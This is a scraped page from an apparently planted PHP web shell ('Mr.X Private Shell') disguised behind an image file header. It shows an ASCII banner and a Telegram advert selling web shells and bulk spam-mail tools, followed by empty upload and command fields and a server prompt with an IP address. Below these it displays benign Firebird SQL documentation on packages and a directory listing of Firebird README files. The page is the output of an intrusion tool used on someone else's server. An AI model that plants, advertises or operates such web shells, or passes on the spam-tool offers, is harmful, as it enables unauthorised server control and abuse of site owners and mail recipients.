����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
--------
Packages
--------

Author:
    Adriano dos Santos Fernandes <adrianosf@uol.com.br>
    (This feature was sponsored with donations gathered in the "5th Brazilian Firebird Developers Day")

Description:
    A package is a group of procedures and functions managed as one entity.

Syntax:
    <package_header> ::=
        { CREATE [OR ALTER] | ALTER | RECREATE } PACKAGE <name>
        AS
        BEGIN
            [ <package_item> ... ]
        END

    <package_item> ::=
        <function_decl> ; |
        <procedure_decl> ;

    <function_decl> ::=
        FUNCTION <name> [( <parameters> )] RETURNS <type>

    <procedure_decl> ::=
        PROCEDURE <name> [( <parameters> ) [RETURNS ( <parameters> )]]

    <package_body> ::=
        { CREATE | RECREATE } PACKAGE BODY <name>
        AS
        BEGIN
            [ <package_item> ... ]
            [ <package_body_item> ... ]
        END

    <package_body_item> ::=
        <function_impl> |
        <procedure_impl>

    <function_impl> ::=
        FUNCTION <name> [( <parameters> )] RETURNS <type>
        AS
        BEGIN
           ...
        END
        |
        FUNCTION <name>  [( <parameters> )] RETURNS <type>
            EXTERNAL NAME '<name>' ENGINE <engine>

    <procedure_impl> ::=
        PROCEDURE <name> [( <parameters> ) [RETURNS ( <parameters> )]]
        AS
        BEGIN
           ...
        END
        |
        PROCEDURE <name> [( <parameters> ) [RETURNS ( <parameters> )]]
            EXTERNAL NAME '<name>' ENGINE <engine>

    <drop_package_header> ::=
        DROP PACKAGE <name>

    <drop_package_body> ::=
        DROP PACKAGE BODY <name>

Objectives:
    - Make functional dependent code separated in logical modules like programming languages do.

      It's well known in programming world that having code grouped in some way (for example in
      namespaces, units or classes) is a good thing. With standard procedures and functions in the
      database this is not possible. It's possible to group them in different scripts files, but
      two problems remain:
      1) The grouping is not represented in the database metadata.
      2) They all participate in a flat namespace and all routines are callable by everyone (not
         talking about security permissions here).
    
    - Facilitate dependency tracking between its internal routines and between other packaged and
      unpackaged routines.

      Firebird packages are divided in two pieces: a header (aka PACKAGE) and a body (aka
      PACKAGE BODY). This division is very similar to a Delphi unit. The header corresponds to the
      interface part, and the body corresponds to the implementation part.

      The user needs first to create the header (CREATE PACKAGE) and after it the body (CREATE
      PACKAGE BODY).

      When a packaged routine uses a determined database object, it's registered on Firebird system
      tables that the package body depends on that object. If you want to, for example, drop that
      object, you first need to remove who depends on it. As who depends on it is a package body,
      you can just drop it even if some other database object depends on this package. When the body
      is dropped, the header remains, allowing you to create its body again after changing it based 
      on the object removal.

    - Facilitate permission management.

      It's generally a good practice to create routines with a privileged database user and grant
      usage to them for users or roles. As Firebird runs the routines with the caller privileges,
      it's also necessary to grant resources usage to each routine, when these resources would not
      be directly accessible to the callers, and grant usage of each routine to users and/or roles.

      Packaged routines do not have individual privileges. The privileges act on the package.
      Privileges granted to packages are valid for all (including private) package body routines,
      but are stored for the package header. Example usage:
        GRANT SELECT ON TABLE secret TO PACKAGE pk_secret;
        GRANT EXECUTE ON PACKAGE pk_secret TO ROLE role_secret;

    - Introduce private scope to routines making them available only for internal usage in the
      defining package.

      All programming languages have the notion of routine scope. But without some form of grouping,
      this is not possible. Firebird packages also work as Delphi units in this regard. If a
      routine is not declared on the package header (interface) and is implemented in the body
      (implementation), it becomes a private routine. A private routine can only be called from
      inside its package.

Syntax rules:
    - A package body should implement all routines declared in the header and in the body start,
      with the same signature.
    - Default value for procedure parameters could not be redefined (be informed in <package_item>
      and <package_body_item>). That means, they can be in <package_body_item> only for private
      procedures not declared.

Notes:
    - DROP PACKAGE drops the package body before dropping its header.
    - UDFs (DECLARE EXTERNAL FUNCTION) are currently not supported inside packages.

Examples:
    - See examples/package.

Filemanager

Name Type Size Permission Actions
README.PSQL_stack_trace.txt File 1.96 KB 0644
README.aggregate_filter.md File 941 B 0644
README.aggregate_tracking File 3.88 KB 0644
README.alternate_string_quoting.txt File 846 B 0644
README.autonomous_transactions.txt File 1.31 KB 0644
README.blob_append.md File 4.99 KB 0644
README.builtin_functions.txt File 29.49 KB 0644
README.case File 1.71 KB 0644
README.coalesce File 1.04 KB 0644
README.column_type_psql.txt File 871 B 0644
README.common_table_expressions File 4.78 KB 0644
README.context_variables File 4.66 KB 0644
README.context_variables2 File 8.47 KB 0644
README.cumulative_roles.txt File 2.27 KB 0644
README.current_time File 814 B 0644
README.cursor_variables.txt File 2.75 KB 0644
README.cursors File 2.43 KB 0644
README.data_type_results_of_aggregations.txt File 1.56 KB 0644
README.data_types File 8.31 KB 0644
README.db_triggers.txt File 1.8 KB 0644
README.ddl.txt File 22.52 KB 0644
README.ddl_access.txt File 1.53 KB 0644
README.ddl_triggers.txt File 11.67 KB 0644
README.default_parameters File 1.91 KB 0644
README.derived_tables.txt File 2.69 KB 0644
README.distinct File 813 B 0644
README.domains_psql.txt File 933 B 0644
README.exception_handling File 2.44 KB 0644
README.execute_block File 1.45 KB 0644
README.execute_statement File 4.24 KB 0644
README.execute_statement2 File 9.54 KB 0644
README.explicit_locks File 5.91 KB 0644
README.expression_indices File 1.3 KB 0644
README.external_connections_pool File 4.31 KB 0644
README.floating_point_types.md File 2.33 KB 0644
README.global_temporary_tables File 3.43 KB 0644
README.hex_literals.txt File 1.13 KB 0644
README.identity_columns.txt File 3.24 KB 0644
README.iif File 541 B 0644
README.isc_info_xxx File 3.61 KB 0644
README.joins.txt File 1.23 KB 0644
README.keywords File 5.26 KB 0644
README.leave_labels File 1.68 KB 0644
README.length File 486 B 0644
README.linger File 1.34 KB 0644
README.list File 1.04 KB 0644
README.management_statements_psql.md File 925 B 0644
README.mapping.html File 14.91 KB 0644
README.merge.txt File 1.77 KB 0644
README.null_value File 23 B 0644
README.nullif File 611 B 0644
README.offset_fetch.txt File 1.69 KB 0644
README.order_by_expressions_nulls File 1.67 KB 0644
README.packages.txt File 5.12 KB 0644
README.plan File 3.49 KB 0644
README.regr_functions.txt File 1.14 KB 0644
README.returning File 2.91 KB 0644
README.rows File 1.34 KB 0644
README.savepoints File 4.08 KB 0644
README.scrollable_cursors.txt File 3.06 KB 0644
README.select_expressions File 2.18 KB 0644
README.sequence_generators File 1.68 KB 0644
README.set_bind.md File 4.49 KB 0644
README.set_role File 768 B 0644
README.set_transaction.txt File 1.63 KB 0644
README.similar_to.txt File 9.53 KB 0644
README.sql_security.txt File 5.51 KB 0644
README.statistical_functions.txt File 1.6 KB 0644
README.subroutines.txt File 4.23 KB 0644
README.substring_similar.txt File 1.2 KB 0644
README.time_zone.md File 14.34 KB 0644
README.trim File 997 B 0644
README.universal_triggers File 2.77 KB 0644
README.update_or_insert File 1.38 KB 0644
README.user_management File 4.43 KB 0644
README.view_updates File 23 B 0644
README.window_functions.md File 14.92 KB 0644